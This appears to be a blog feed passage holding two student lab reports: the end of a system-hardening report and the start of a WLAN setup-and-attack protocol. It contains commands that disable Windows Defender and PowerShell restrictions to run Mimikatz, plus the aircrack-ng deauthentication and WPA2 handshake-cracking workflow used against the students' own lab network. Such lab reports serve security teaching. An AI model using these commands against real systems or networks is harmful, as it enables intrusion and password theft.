<h4 id="database-listening-on-all-interfaces">Database Listening on All Interfaces</h4>
<p>The insecure database is configured to listen on <code>0.0.0.0</code>, which allows connections from any IP address. This should be restricted to only allow connections from the API server.</p>
<h3 id="making-windows-insecure">Making Windows Insecure</h3>
<h4 id="changing-the-execution-policy">Changing The Execution Policy</h4>
<p>The execution policy is a Windows setting that controls which scripts can be run. It is set to <code>Restricted</code> by default, meaning only scripts signed by a trusted publisher will execute. This is a good practice because it prevents malicious scripts from running on the system. [@sdwheeler_set-executionpolicy_nodate]</p>
<p>This setting can be changed by running <code>Set-ExecutionPolicy Unrestricted</code> in PowerShell, as shown in [@fig:doof], and its effects are visible in [@fig:yesyes]. [@sdwheeler_set-executionpolicy_nodate]</p>
<h4 id="disabling-windows-defender">Disabling Windows Defender</h4>
<p>Using <code>Set-MpPreference</code>, Windows Defender can be configured and thus disabled with the following commands: <code>Set-MpPreference -DisableRealtimeMonitoring $true</code> and <code>Set-MpPreference -DisableIOAVProtection $true</code>. [@noauthor_set-mppreference_nodate]</p>
<p>The first command is responsible for disabling real-time protection, while the second disables IOC protection. [@noauthor_set-mppreference_nodate]</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/doof.svg"/> <figcaption>
            Figure 37: disabling windows defender and changing the execution policy
        </figcaption>
</figure>

<p>In [@fig:yesyes], the execution policy is set to <code>Unrestricted</code>, and Windows Defender is disabled; this allows an unprivileged user to download and run Mimikatz.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/yesyes.svg"/> <figcaption>
            Figure 38: running mimikatz due to the misconfiguration
        </figcaption>
</figure>

<p>As seen in [@fig:rev], Windows Defender has been turned back on, and the execution policy has been changed to <code>Restricted</code>. This is shown in [@fig:sadge], where Mimikatz can no longer be run.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/turn-back-on.svg"/> <figcaption>
            Figure 39: re-enabling windows defender and restricting the powerShell execution policy
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/sadge.svg"/> <figcaption>
            Figure 40: windows defender blocking invoking mimikatz
        </figcaption>
</figure>

<h3 id="making-linux-insecure">Making Linux Insecure</h3>
<h4 id="disabling-aslr">Disabling ASLR</h4>
<p>ASLR (Address Space Layout Randomization) is a security feature that makes it harder for an attacker to exploit a vulnerability in a program by making it difficult to predict the location of the stack <sup id="fnref:46"><a href="#fn:46" class="footnote-ref" role="doc-noteref">46</a></sup></p>
<p>Because this requires writing an exploit, this section is purely theoretical and shows the commands to enable or disable ASLR on a Linux system. To disable it, a configuration file at <code>/etc/sysctl.d/01-disable-aslr.conf</code> must be created with the content <code>kernel.randomize_va_space = 0</code>, which permanently disables ASLR. When this value is set to <code>1</code>, the kernel performs conservative randomization (shared libraries, the stack, <code>mmap()</code>, VDSO, and the heap are randomized). When set to <code>2</code>, full randomization is used.</p>
<h4 id="writable-binaries">Writable Binaries</h4>
<p>An accidental mistake that sometimes can happen on Linux is accidentally changing the permissions of a binary in <code>PATH</code>, giving other users the ability to modify it. This removes all integrity from the binary, and when it is run unknowingly as root, malicious code could be executed without the victim knowing, as shown in [@fig:binw].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/bin-edit.svg"/> <figcaption>
            Figure 41: running a modified binary as root
        </figcaption>
</figure>

<h3 id="how-tools-like-tailscale-help-harden-security">How Tools Like Tailscale Help Harden Security</h3>
<p>While Tailscale is only a WireGuard VPN, it is the collaboration and user experience where it shines. For example, MagicDNS, access control, and the setup process are far ahead of WireGuard. Besides Tailscale, there is Twingate, which is used for similar purposes but instead of a VPN uses TLS tunnels.</p>
<p>A VPN or management tools like these are a good practice because restricting essential services like Kubernetes API traffic, database connections, and SSH access to a private network that only you or your team can access removes many attack vectors. This aligns well with the principle of IT security, where stacking layers of defenses and hardening is almost always a good idea.</p>
<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y4/ex1/quellen.bib">original BibTeX file</a>.</em></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>VirtualBox Manual - Chapter 6. Virtual Networking. <a href="https://www.virtualbox.org/manual/ch06.html">link</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Tailscale MagicDNS Documentation. <a href="https://tailscale.com/kb/1081/magicdns">link</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Alpine Linux About Page. <a href="https://www.alpinelinux.org/about/">link</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Wikipedia - BusyBox. <a href="https://en.wikipedia.org/wiki/BusyBox">link</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Alpine Linux - Installing in Virtual Machine. <a href="https://wiki.alpinelinux.org/wiki/Installing_Alpine_in_a_virtual_machine">link</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>Alpine Linux - Configure Networking. <a href="https://wiki.alpinelinux.org/wiki/Configure_Networking">link</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Alpine Linux - Setting up a new user. <a href="https://wiki.alpinelinux.org/wiki/Setting_up_a_new_user">link</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>Wikipedia - Wheel (computing). <a href="https://en.wikipedia.org/wiki/Wheel_(computing)">link</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>Docker - Alpine Linux. <a href="https://wiki.alpinelinux.org/wiki/Docker">link</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>OpenRC - Alpine Linux. <a href="https://wiki.alpinelinux.org/wiki/OpenRC">link</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>Enable Community Repository - Alpine Linux. <a href="https://wiki.alpinelinux.org/w/index.php?title=Enable_Community_Repository&amp;redirect=no">link</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>UUIDv7 Benefits. <a href="https://uuid7.com/">link</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>fboulnois/pg_uuidv7 - GitHub. <a href="https://github.com/fboulnois/pg_uuidv7">link</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p>Simple Authentication with only PostgreSQL - Medium. <a href="https://medium.com/@ValentinMouret/simple-authentication-with-only-postgresql-ff38f5bf8b0d">link</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p>PostgreSQL Documentation - pgcrypto. <a href="https://www.postgresql.org/docs/18/pgcrypto.html">link</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p>Wikipedia - Middleware. <a href="https://en.wikipedia.org/wiki/Middleware">link</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p>Wikipedia - Create, read, update and delete. <a href="https://en.wikipedia.org/wiki/Create,_read,_update_and_delete">link</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:18">
<p>OAuth 2.0 Authorization Framework - RFC 6749. <a href="https://datatracker.ietf.org/doc/rfc6749">link</a>&#160;<a href="#fnref:18" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:19">
<p>OAuth 2.0 Bearer Token Usage - RFC 6750. <a href="https://datatracker.ietf.org/doc/rfc6750">link</a>&#160;<a href="#fnref:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:20">
<p>JSON Web Token (JWT) - RFC 7519. <a href="https://datatracker.ietf.org/doc/rfc7519">link</a>&#160;<a href="#fnref:20" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:21">
<p>JWT Authentication With Refresh Tokens - GeeksforGeeks. <a href="https://www.geeksforgeeks.org/node-js/jwt-authentication-with-refresh-tokens/">link</a>&#160;<a href="#fnref:21" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:22">
<p>RS256 vs HS256 What&rsquo;s the difference? - Auth0. <a href="https://auth0.com/blog/rs256-vs-hs256-whats-the-difference/">link</a>&#160;<a href="#fnref:22" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:23">
<p>What is HMAC(Hash based Message Authentication Code)? - GeeksforGeeks. <a href="https://www.geeksforgeeks.org/computer-networks/what-is-hmachash-based-message-authentication-code/">link</a>&#160;<a href="#fnref:23" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:24">
<p>Leaky Bucket Rate Limiting and its Queue-Based Variant - RD Blog. <a href="https://rdiachenko.com/posts/arch/rate-limiting/leaky-bucket-algorithm/">link</a>&#160;<a href="#fnref:24" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:24" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:25">
<p>ratelimit package - go.uber.org/ratelimit - Go Packages. <a href="https://pkg.go.dev/go.uber.org/ratelimit">link</a>&#160;<a href="#fnref:25" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:25" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:25" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:26">
<p>Content Security Policy (CSP) - HTTP | MDN. <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP">link</a>&#160;<a href="#fnref:26" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:27">
<p>Kubernetes Documentation. <a href="https://kubernetes.io/docs/">link</a>&#160;<a href="#fnref:27" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:28">
<p>K3s - Lightweight Kubernetes. <a href="https://docs.k3s.io/">link</a>&#160;<a href="#fnref:28" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:29">
<p>Docker Swarm Mode Documentation. <a href="https://docs.docker.com/engine/swarm/">link</a>&#160;<a href="#fnref:29" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:30">
<p>What is secrets management? | Securing secrets - Cloudflare. <a href="https://www.cloudflare.com/learning/security/glossary/secrets-management/">link</a>&#160;<a href="#fnref:30" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:31">
<p>Pass: The Standard Unix Password Manager. <a href="https://www.passwordstore.org/">link</a>&#160;<a href="#fnref:31" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:32">
<p>pass - ArchWiki. <a href="https://wiki.archlinux.org/title/Pass">link</a>&#160;<a href="#fnref:32" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:33">
<p>Manage sensitive data with Docker secrets - Docker Documentation. <a href="https://docs.docker.com/engine/swarm/secrets/">link</a>&#160;<a href="#fnref:33" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:34">
<p>inspiraller/docker-postgres-with-secrets - GitHub. <a href="https://github.com/inspiraller/docker-postgres-with-secrets">link</a>&#160;<a href="#fnref:34" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:35">
<p>postgres - Official Image | Docker Hub. <a href="https://hub.docker.com/_/postgres/">link</a>&#160;<a href="#fnref:35" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:35" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:36">
<p>Securing Windows: Common Misconfigurations That Give Attackers The Advantage - Offensive Security Blog. <a href="https://offsec.blog/securing-windows-common-misconfigurations-that-give-attackers-the-advantage/">link</a>&#160;<a href="#fnref:36" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:37">
<p>Address space layout randomization - Wikipedia. <a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization">link</a>&#160;<a href="#fnref:37" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:38">
<p>Set-ExecutionPolicy (Microsoft.PowerShell.Security) - PowerShell. <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.5">link</a>&#160;<a href="#fnref:38" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:38" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:39">
<p>Set-MpPreference (Defender) | Microsoft Learn. <a href="https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2025-ps">link</a>&#160;<a href="#fnref:39" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:40">
<p>Tailscale SSH Documentation. <a href="https://tailscale.com/kb/1193/tailscale-ssh">link</a>&#160;<a href="#fnref:40" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:40" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:41">
<p>Protect your SSH servers using Tailscale - Tailscale Docs. <a href="https://tailscale.com/kb/1009/protect-ssh-servers">link</a>&#160;<a href="#fnref:41" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:42">
<p>Use UFW to lock down an Ubuntu server - Tailscale Docs. <a href="https://tailscale.com/kb/1077/secure-server-ubuntu">link</a>&#160;<a href="#fnref:42" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:43">
<p>XSS Demo. <a href="https://xss.benstafford.dev/">link</a>&#160;<a href="#fnref:43" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:43" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:44">
<p>Strict-Transport-Security header - HTTP | MDN. <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Strict-Transport-Security">link</a>&#160;<a href="#fnref:44" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:45">
<p>X-Content-Type-Options header - HTTP | MDN. <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Content-Type-Options">link</a>&#160;<a href="#fnref:45" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:46">
<p>X-Frame-Options header - HTTP | MDN. <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Frame-Options">link</a>&#160;<a href="#fnref:46" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>WLAN Setup and Security</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-11/wlan-setup-and-security/</link><pubDate>Tue, 10 Jun 2025 07:10:35 +0200</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-11/wlan-setup-and-security/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted using from LaTeX to Markdown using ChatGPT and Gemini. The original PDF and bibliography can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex11/WLAN-setup-and-security.pdf">here&lt;/a> and &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex11/zotero.bib">here&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="wlan-setup-and-security">WLAN setup and security&lt;/h1>
&lt;hr>
&lt;p>&lt;strong>Laboratory protocol&lt;/strong>&lt;br>
Exercise 11: WLAN setup and security&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex11/images/miniheraDogDoorbell.png"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI/NWT&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Justin Tremurici&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> GROUPNAME/12&lt;br>
&lt;strong>Supervisor:&lt;/strong> ANGE, ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 16.05.2025 | 06.06.2025&lt;br>
&lt;strong>Submission date:&lt;/strong> 10.06.2025&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task definition&lt;/a>&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#setting-up-the-network">Setting up the Network&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#configuring-the-router">Configuring the Router&lt;/a>&lt;/li>
&lt;li>&lt;a href="#configuring-the-access-point">Configuring the Access Point&lt;/a>&lt;/li>
&lt;li>&lt;a href="#testing-connectivity-and-dhcp-addresses">Testing connectivity and DHCP addresses&lt;/a>&lt;/li>
&lt;li>&lt;a href="#access-point-isolation">Access Point Isolation&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#attacking-the-wi-fi-network">Attacking the Wi-Fi Network&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#setting-up-the-wi-fi-adapter">Setting up the Wi-Fi Adapter&lt;/a>&lt;/li>
&lt;li>&lt;a href="#starting-the-attack">Starting the attack&lt;/a>&lt;/li>
&lt;li>&lt;a href="#sending-deauthentication-frames">Sending Deauthentication Frames&lt;/a>&lt;/li>
&lt;li>&lt;a href="#analyzing-the-4-way-handshake-in-wireshark">Analyzing the 4-Way Handshake in Wireshark&lt;/a>&lt;/li>
&lt;li>&lt;a href="#cracking-the-password">Cracking the Password&lt;/a>&lt;/li>
&lt;li>&lt;a href="#testing-my-own-wi-fi">Testing My Own Wi-Fi&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#mitigations-of-this-attack">Mitigations of This Attack&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#how-wpa3-improves-security">How WPA3 improves security&lt;/a>&lt;/li>
&lt;li>&lt;a href="#possible-wpa3-attacks">Possible WPA3 Attacks&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task definition&lt;/h2>
&lt;p>This task focuses on the setup and subsequent attack of a WLAN network. The initial phase, &amp;ldquo;Übung 10: Einrichten eines WLAN-Netzwerks,&amp;rdquo; guides students through provisioning a WLAN. This involves configuring an Access Point (AP), planning channel usage, setting up Network Address Translation (NAT) and a DHCP service, and ensuring full connectivity between wireless and wired clients. Students configure a router with NAT, establish a DHCP server, and set up the AP with &lt;code>WPA2&lt;/code> security, assessing password strength and measuring channel utilization. Connectivity tests confirm communication within the network and to the internet. Access Point Isolation is also explored, with a bonus task involving its configuration and demonstration of its effects.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted using from LaTeX to Markdown using ChatGPT and Gemini. The original PDF and bibliography can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex11/WLAN-setup-and-security.pdf">here</a> and <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex11/zotero.bib">here</a>.</p></blockquote>
<hr>
<h1 id="wlan-setup-and-security">WLAN setup and security</h1>
<hr>
<p><strong>Laboratory protocol</strong><br>
Exercise 11: WLAN setup and security<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/miniheraDogDoorbell.png"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI/NWT<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Justin Tremurici<br>
<strong>Group Name/Number:</strong> GROUPNAME/12<br>
<strong>Supervisor:</strong> ANGE, ZIVK<br>
<strong>Exercise dates:</strong> 16.05.2025 | 06.06.2025<br>
<strong>Submission date:</strong> 10.06.2025</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task definition</a></li>
<li><a href="#summary">Summary</a></li>
<li><a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#setting-up-the-network">Setting up the Network</a>
<ul>
<li><a href="#configuring-the-router">Configuring the Router</a></li>
<li><a href="#configuring-the-access-point">Configuring the Access Point</a></li>
<li><a href="#testing-connectivity-and-dhcp-addresses">Testing connectivity and DHCP addresses</a></li>
<li><a href="#access-point-isolation">Access Point Isolation</a></li>
</ul>
</li>
<li><a href="#attacking-the-wi-fi-network">Attacking the Wi-Fi Network</a>
<ul>
<li><a href="#setting-up-the-wi-fi-adapter">Setting up the Wi-Fi Adapter</a></li>
<li><a href="#starting-the-attack">Starting the attack</a></li>
<li><a href="#sending-deauthentication-frames">Sending Deauthentication Frames</a></li>
<li><a href="#analyzing-the-4-way-handshake-in-wireshark">Analyzing the 4-Way Handshake in Wireshark</a></li>
<li><a href="#cracking-the-password">Cracking the Password</a></li>
<li><a href="#testing-my-own-wi-fi">Testing My Own Wi-Fi</a></li>
</ul>
</li>
<li><a href="#mitigations-of-this-attack">Mitigations of This Attack</a>
<ul>
<li><a href="#how-wpa3-improves-security">How WPA3 improves security</a></li>
<li><a href="#possible-wpa3-attacks">Possible WPA3 Attacks</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<hr>
<h2 id="task-definition">Task definition</h2>
<p>This task focuses on the setup and subsequent attack of a WLAN network. The initial phase, &ldquo;Übung 10: Einrichten eines WLAN-Netzwerks,&rdquo; guides students through provisioning a WLAN. This involves configuring an Access Point (AP), planning channel usage, setting up Network Address Translation (NAT) and a DHCP service, and ensuring full connectivity between wireless and wired clients. Students configure a router with NAT, establish a DHCP server, and set up the AP with <code>WPA2</code> security, assessing password strength and measuring channel utilization. Connectivity tests confirm communication within the network and to the internet. Access Point Isolation is also explored, with a bonus task involving its configuration and demonstration of its effects.</p>
<p>The second phase, &ldquo;Übung 11: Angriff eines WLAN-Netzwerks,&rdquo; delves into ethical hacking using the <code>aircrack-ng</code> framework. This begins with checking WLAN card recognition and enabling monitoring mode using tools like <code>iw dev</code>, <code>iwconfig</code>, and <code>wifite</code>, followed by <code>airmon-ng start &lt;WLAN-Interface&gt;</code>. Students then use <code>airodump-ng &lt;WLAN-Interface&gt;</code> to monitor WLANs and identify network details such as BSSID and channel. A deauthentication attack is performed using <code>aireplay-ng --deauth &lt;Anzahl der Pakete&gt; -a &lt;BSSID&gt; -D &lt;WLAN-Interface&gt;</code>, analyzing its impact on connected clients. Finally, the task culminates in cracking the WLAN password using <code>airodump-ng</code> to capture the WLAN handshake (saved as a <code>.pcap</code> file), viewing it in <code>Wireshark</code>, and then employing <code>aircrack-ng -w password.lst -b &lt;BSSID&gt; &lt;CaptureFile&gt;.pcap</code> with a password list. A bonus challenge involves using <code>Hashcat</code> for password cracking, requiring <code>hcxpcapngtool -o &lt;Datei-name&gt;.22000 -E essid &lt;CaptureFile&gt;.pcap</code> for file conversion and leveraging potentially more powerful computational resources.</p>
<hr>
<h2 id="summary">Summary</h2>
<p>In this exercise, a WLAN network was established and subsequently attacked. The setup phase involved configuring a router for NAT and DHCP, enabling the internal network to access the internet and clients to receive IP addresses from the <code>172.28.0.0/24</code> subnet. The router was configured with an access list for NAT and an <code>ip nat inside source</code> command for overload PAT, ensuring multiple internal hosts could share a single public IP. DHCP was configured with a pool for the <code>172.28.0.0/24</code> network, specifically excluding the router&rsquo;s, a static server&rsquo;s, and the access point&rsquo;s IP addresses. The router&rsquo;s internet connectivity and DHCP assignments were thoroughly verified through ping tests and IP address checks on connected devices.</p>
<p>The Access Point was reset and configured via its web interface with a static IP address within the defined internal subnet. A Wi-Fi network named <code>3AHITN-GRP-12</code> was created on the 2.4 GHz radio, initially with isolation disabled to allow client-to-client communication. Security was set to <code>WPA2</code> with the password <code>Passwort2025!</code>. The strengths of various security algorithms (<code>WEP</code>, <code>WPA</code>, <code>WPA2-Personal</code>, <code>WPA2-Enterprise</code>) and the chosen password were assessed. Channel usage was carefully monitored using <code>NetSpot</code> to inform channel selection and avoid conflicts with existing networks. Connectivity was then confirmed by pinging between wireless clients, between wireless and wired clients, and from a wireless client to the internet. The concept of Access Point Isolation was explained and demonstrated, showing how it prevents communication between wireless clients, yet notably does not hinder packet sniffing.</p>
<p>The attack phase commenced with setting up a <code>Wi-Fi</code> adapter for monitoring mode. This involved installing necessary drivers for a <code>RTL8821AU</code> chipset and activating monitor mode using commands like <code>iw dev</code> or the <code>wifite</code> utility. The <code>airmon-ng</code> tool was then used to enable monitor mode and manage any conflicting processes. Subsequently, <code>airodump-ng</code> was employed to scan for <code>Wi-Fi</code> networks, gather critical information such as the BSSID and channel for the target network <code>3AHITN-GRP-12</code>, and capture raw 802.11 frames from the target access point and its associated clients. A deauthentication attack was performed with <code>aireplay-ng</code> to disconnect a specific client and force a <code>WPA2</code> 4-Way Handshake, which was successfully captured and verified.</p>
<p>The captured 4-Way Handshake was then analyzed in <code>Wireshark</code> (or <code>Termshark</code>) using the <code>eapol &amp;&amp; !eap</code> filter to isolate the relevant frames. Each of the four <code>EAPOL</code> (Extensible Authentication Protocol over LANs) frames was dissected, with detailed explanations of key fields including Descriptor Type, Key Information, Key Length, Key Replay Counter, Key Nonce, Key RSC, Key MIC, Key Data Length, and Key Data. Visual representations of each handshake message were provided, illustrating the exchange of ANonce, SNonce, MICs, and GTK. Finally, the captured handshake was used with <code>aircrack-ng</code> and a wordlist to crack the <code>Wi-Fi</code> password. A bonus task involved attempting to crack a personal <code>Wi-Fi</code> password using <code>hcxpcapngtool</code> for capture conversion and <code>Hashcat</code> for a brute-force attack, demonstrating the significant difficulty of cracking long, complex passwords.</p>
<hr>
<h2 id="complete-network-topology-of-the-exercise">Complete network topology of the exercise</h2>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/topo.png"/> <figcaption>
            Figure 1: Complete network topology
        </figcaption>
</figure>

<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="setting-up-the-network">Setting up the Network</h3>
<h4 id="configuring-the-router">Configuring the Router</h4>
<p>The router needs to have NAT configured since internet access will be required for this exercise.</p>
<p>There are multiple approaches to creating NAT, which include Overloading or Port Address Translation (PAT), Static Port Address Translation (Port Redirection), or Static NAT.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><br>
Here, the most frequently used approach will be employed, which is PAT, where multiple connections from internal hosts are <strong>multiplexed</strong> into a single registered public IP address using different source port numbers. This allows for 65,536 translations per public IP and is used by basically every home since they typically have a single router that serves as the only gateway and has NAT to the ISP. Rarely do non-enterprise customers get their own static IP, and thus sometimes even multiple homes are NATed together into a single public IP which is called CGNAT (Carrier-Grade NAT).<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
